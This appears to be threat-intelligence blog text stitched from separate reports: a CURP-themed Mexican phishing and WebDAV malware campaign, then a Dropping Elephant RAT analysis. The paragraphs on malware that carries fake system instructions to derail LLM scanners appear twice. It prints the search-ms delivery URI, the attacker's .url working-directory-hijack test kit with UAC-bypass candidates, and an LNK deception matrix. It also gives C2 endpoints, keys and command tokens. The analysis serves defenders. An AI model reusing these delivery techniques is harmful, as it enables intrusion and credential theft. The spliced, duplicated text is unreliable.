The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.
We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.
Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity.
This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.
Case study 1: CURP campaign targeting Mexico
Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government’s CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.
⠀
The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:
search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
&query=*.scr
&crumb=location:\\onedrive.cv@80\Downloads\CURP
⠀ It’s worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.
The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.
⠀
Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.
⠀
The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:
Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.
The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.
Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.
The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes.
Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.
Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.
Case study 2: The “DlrtyGames” sideloading chain
While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.
The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.
⠀
Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.
The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.
The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest.
The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.
The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.
GenAI adoption
Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.
═══════════════════════════════════════════════════════════════════
WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
for Windows 11 24H2
═══════════════════════════════════════════════════════════════════
This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).
ALL .url files use this exact format (same as the real APT attack):
[InternetShortcut]
URL=C:\path\to\target.exe <- legitimate binary
WorkingDirectory=\\[REDACTED]@80\Downloads <- WebDAV (triggers WebClient!)
ShowCommand=7 <- start minimized (hide alert windows)
IconIndex=13 <- (decoy icon)
IconFile=msedge.exe <- (decoy icon)
═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════
STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
\\[REDACTED]\Downloads\
(59 test files - each is 5KB MessageBox popup exe)
STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine
STEP 3: Double-click .url files one by one (or all of them in sequence)
- If popup appears -> HIJACK WORKS! Read parent process name in popup.
- If nothing happens / error -> doesn't work, move to next.
STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
ones as new methods in web-renamer.
═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════
TIER 1 - CONFIRMED IN THE WILD:
I01_iediagcmd.url - CVE-2025-33053 (needs pre-June 2025 patch)
I02_CustomShellHost.url - CheckPoint research (may not exist on Server)
TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
I03_InstallUtil.url - InstallUtilLib.dll search
I04_RegAsm.url - .NET registration
I05_RegSvcs.url - .NET services
I06_CasPol.url - .NET security policy
I07_ngentask.url - NGen native compile (calls ngen.exe!)
I08_AddInUtil.url - AddIn util (calls AddInProcess.exe!)
I10_dfsvc.url - ClickOnce service
I15_csc.url - C# compiler (may call link.exe)
I16_vbc.url - VB compiler
TIER 3 - WIN11 SYSTEM .NET TOOLS:
I17_LbfoAdmin.url - NIC teaming admin
I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
I20_UevAppMonitor.url - UE-V monitor
I23_AppVStreamingUX.url - App-V streaming UI
TIER 4 - LOLBAS Execute-EXE binaries:
I26_Pcwrun.url - LOLBAS Execute(EXE)
I28_WorkFolders.url - LOLBAS Execute(EXE,Rename)
I33_stordiag.url - LOLBAS Execute(EXE) - calls systeminfo etc
I36_Provlaunch.url - LOLBAS Execute(CMD) - calls provtool.exe!
TIER 5 - UAC bypass binaries (worth testing):
I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url
═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════
For the attack to succeed, the LOLBin must:
1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
name (no full path).
2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
(e.g. "C:\Windows\System32\ipconfig.exe").
3. Be runnable without command-line args.
If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.
═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════
When hijack works, you'll see:
TEST OK - Working Directory Hijack SUCCESS
Executed as: route.exe <- which name was hijacked
Full path: \\[REDACTED]@80\Downloads\route.exe <- ran from WebDAV!
Working dir: \\[REDACTED]@80\Downloads
Parent process: iediagcmd <- which LOLBin spawned it
═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════
* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
(e.g. I02_CustomShellHost was missing on my test Server 2025).
These will silently fail - just move on.
* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
triggering any hijack. That's fine - if no popup appears, no hijack.
* See _MAPPING.csv for full mapping of each .url to its target binary
and expected child process names.
Figure 7: Context of README.md found in the exposed directory.
The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.
⠀ It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.
Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.
⠀
Figure 10: Simba service system requirements.
⠀
The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.
The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.
# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques
**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`
**Total files:** 60
**Generated:** 2026-05-30
---
## Overview / Обзор
This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.
В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.
---
## Naming Scheme / Схема именования
All files follow the pattern:
Все файлы следуют шаблону:
```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```
- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`ƒdᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение
> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...
Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs’ Github. The text is original, and the translation to Russian was not added by us.
OPSEC is hard
As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”
Figure 12: Simba service presentation.
⠀
The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.
The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.
Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.
We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.
Delivery panel overview
The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.
Figure 13: Simba service page with blocking capabilities.
⠀
The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).
We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.
The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.
Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.
The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.
Country
Requests
Share of requests
Unique client IPs
Launch events
Mexico
63,622
82.5%
2,698
2,365
United States
4,032
5.2%
463
47
Germany
2,751
3.6%
59
1
United Kingdom
645
0.8%
40
0
Netherlands
532
0.7%
49
1
France
407
0.5%
21
0
Finland
401
0.5%
6
10
Brazil
343
0.4%
41
0
Republic of Korea
312
0.4%
16
1
Table 3: Geographic distribution of WebDAV delivery activity.
Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.
Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.
By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.
Protocol behavior
The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.
Method
Count
PROPFIND
57,287
GET
13,088
OPTIONS
6,597
PROPPATCH
125
LOCK
1
Table 4: HTTP methods observed in WebDAV delivery traffic.
Status
Count
207
57,412
200
19,532
206
154
Table 5: HTTP status codes observed in WebDAV delivery traffic.
More indicators of compromise can be found on Rapid7’s GitHub.
Rapid7 customers
Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.
Conclusion
The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.
The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded.
While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.
The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.
The _index.js payload begins with a large JavaScript block comment containing fake system instructions and policy-triggering content. Because it is inside a comment, it does not affect JavaScript execution. The runtime skips it. The real malware begins after the comment with a try{eval(…)} wrapper around a large character-code array and a ROT-style substitution function.
This header appears designed for AI-mediated analysis, not for Node, Bun, or Python. It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.
This is not a magical bypass against static detection. YARA rules, entropy checks, AST parsing, string extraction, deobfuscation, and behavioral rules still work. But it is a practical anti-analysis trick against naive LLM-first triage systems.
The _index.js payload begins with a large JavaScript block comment containing fake system instructions and policy-triggering content. Because it is inside a comment, it does not affect JavaScript execution. The runtime skips it. The real malware begins after the comment with a try{eval(…)} wrapper around a large character-code array and a ROT-style substitution function.
This header appears designed for AI-mediated analysis, not for Node, Bun, or Python. It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.
This is not a magical bypass against static detection. YARA rules, entropy checks, AST parsing, string extraction, deobfuscation, and behavioral rules still work. But it is a practical anti-analysis trick against naive LLM-first triage systems.
Rapid7 researchers have identified a sophisticated malware campaign attributed to the threat actor “Dropping Elephant,” characterized by the use of a China-themed decoy document to deliver a heavily reworked, in-memory remote access trojan (RAT). This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of “Donut” shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls.
The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications. Despite these modifications, Rapid7’s deep analysis confirms this activity is a direct evolution of Dropping Elephant’s tradecraft, based on shared beaconing patterns, screenshot logic, and command-handler structures. This discovery underscores the importance of proactive threat hunting and memory-level visibility in detecting modern, low-footprint implants.
Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.
Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in C:\Users\Public\, a scheduled task named GoogleErrorReport executing every minute, and Fondue.exe loading APPWIZ.cpl from C:\Users\Public\ rather than a legitimate Windows directory.
Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.
Overview
During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.
The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.
Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use Fondue.exe, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.
We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.
Technical analysis and observed attacker behavior
Figure 1: Full delivery chain from LNK to in-memory RAT
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Stage 1: GRES3001.lnk
The attack starts when a user executes GRES3001.lnk, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw”r, g”c”i, r”e”n, c”p”i, and &(g”cm sch*)) to evade keyword detection.
The downloader connects to the staging server chinagreenenergy[.]organd retrieves the decoy GRES3001.pdf along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.
Figure 3: GRES-3 contract completion decoy document used as victim lure
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Stage 2: Payload staging
Several payload files are downloaded with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, then renamed by stripping filler characters to reconstruct Fondue.exe, APPWIZ.cpl, msvcp140.dll, and vcruntime140.dll in C:\Users\Public\. The encrypted payload editor.dat is written to the C:\Windows\Tasks\ folder.
After staging the files, the script creates a scheduled task named GoogleErrorReport, configured to run Fondue.exe every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the Fondue.exe side-loading chain.
Figure 4: Scheduled task creation command using gcm sch* obfuscation
Stage 3: DLL side-loading
The Fondue.exe loads the malicious APPWIZ.cpl staged alongside it in the C:\Users\Public\ directory. The side-loaded APPWIZ.cpl exports RunFODW, the function expected by Fondue.exe. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting editor.dat.
Stage 4: Encrypted payload and Donut loader
APPWIZ.cpl sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is bluetooth_callback.dll.
Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll
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It reads editor.dat, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (bcrypt.dll). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:
The loader maps the shellcode into an RWX memory region using VirtualAlloc followed by memcpy call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to EnumUILanguagesW.
Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode
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The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.
The final payload is a native 32-bit C++ implant SHA 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls FreeConsole() to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a LoadLibrary / GetProcAddress loop. After API resolution, the RAT stages its crypto and builds C2 hostname, gcl-power[.]org. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key tn9905083tfbsxqrxs7qe4ryw1nif8h1 with 8-byte nonce lPvymwIk. Next, it calls sub_40F4A0 subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.
Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the mkeoldkf beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.
After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise.
Finally, the RAT fingerprints the host, derives its bot ID, and enters sub_415750(), where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.
Host fingerprinting
Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:
Field
Meaning
umnome
Username
pmjodf
Computer name
idkdfjej
Bot ID / cid
vrjdmej
OS version
ndlpeip
Public IP and country
cokenme
Country
mkeoldkf
Full running-process list
Table 2: RAT registration beacon fields and their meaning
During fingerprinting, the RAT makes a one-time call to api.ipify.org to learn the host’s own public IP, then passes that IP to ip2c.org to resolve the country. The user-agent used in the recon phase is Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36.The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the idkdfjej field. Each field is independently wrapped as base64url(Salsa20(base64url(value))).
Command and control
The RAT periodically sends HTTPS POST requests to the C2 server on port 443 (INTERNET_FLAG_SECURE). It uses a 23-character token, RRn926EmIRfm9IlJyP1yVO2 for C2 traffic to gcl-power[.]org. Each beacon loop iteration follows the same pattern:
POSTs dine=<cid> to the command-poll endpoint /prjozifvkpkfhkr/gedhagammgjvvva/;
blocks on InternetReadFile while waiting for a task;
treats MMMMM==YYYYY as the idle sentinel, sleeps for approximately three seconds, and re-polls;
C2 tasks are wrapped in <>()*delimiters. The RAT strips these characters and decodes the payload back to the original command using base64url(Salsa20(base64url(value))) again.
Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling
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Each cycle, the RAT first confirms the host is actually online by quietly pinging google.com, yahoo.com, and cloudflare.com. Only if that succeeds does it beacon to its C2. When all’s well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.
Operator capabilities
During our analysis we confirmed 5 command handlers.
Token
Capability
Behavior
fl
Directory listing
Recursively enumerates files
dw
Download and execute
Fetches a file, writes it to disk, and runs it
sc
Screenshot
Captures the virtual screen with BitBlt, encodes it with WIC, and exfiltrates it to a dedicated endpoint. This behavior is command-gated, not periodic.
cmx
Shell execution
Runs cmd.exe /c chcp 65001 | <cmd> and captures stdout
uf
File upload
Exfiltrates a specified file
Table 3: Confirmed RAT command handlers with dispatch tokens and behavior
The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter ==zz==oo==pp==. For example, fl==zz==oo==pp== tells the RAT to run the file-listing handler.
Anti-analysis
The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.
Figure 8: Control-flow flattening dispatcher skeleton in decompiler output
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During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the mkeoldkf field and attempted to send it to gcl-power[.]org. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. The full list of processes and security tools cancould be found in the IOCs section below.
Attribution
To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2. That report provides the family context for the reference sample.
BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.
Diaphora identified four function-level overlaps that pointed to a shared code usage.
Functionality
Shared traits
Command execution
Similar allocation, encoding, formatting, and POST structure; repeated use of the 0x2710 buffer constant
Screenshot handling
Same GDI screenshot pattern, including GetSystemMetrics values 78 and 79 and BitBlt with 0xCC0020; the newer sample uses WIC instead of GDI+ for encoding
C2 connection
Same WININET request flow: open, connect, open request, send request, read response; the newer sample moves from HTTP to HTTPS with INTERNET_FLAG_SECURE
Shell execution
Shared hidden-window execution and cmd.exe /c chcp 65001 output-capture pattern
Table 4: Code-level overlaps between editor.extracted.exe and old_rat.exe identified by Diaphora
The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.
Mitigation guidance
MITRE ATT&CK techniques
Tactic
Technique
Observable
Initial Access
Phishing: Spearphishing Attachment [T1566.001]
Malicious GRES3001.lnk used as the initial lure artifact; no email artifact recovered
Execution
User Execution: Malicious File [T1204.002]
User opens GRES3001.lnk
Execution
Command and Scripting Interpreter: PowerShell [T1059.001]
LNK launches conhost.exe, which starts the PowerShell downloader
Execution
Command and Scripting Interpreter: Windows Command Shell [T1059.003]
RAT cmx handler runs cmd.exe /c chcp 65001 | <cmd>
Persistence
Scheduled Task/Job: Scheduled Task [T1053.005]
GoogleErrorReport runs C:\Users\Public\Fondue.exe every minute
Geolocation lookup used during host fingerprinting
Conclusion
The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.
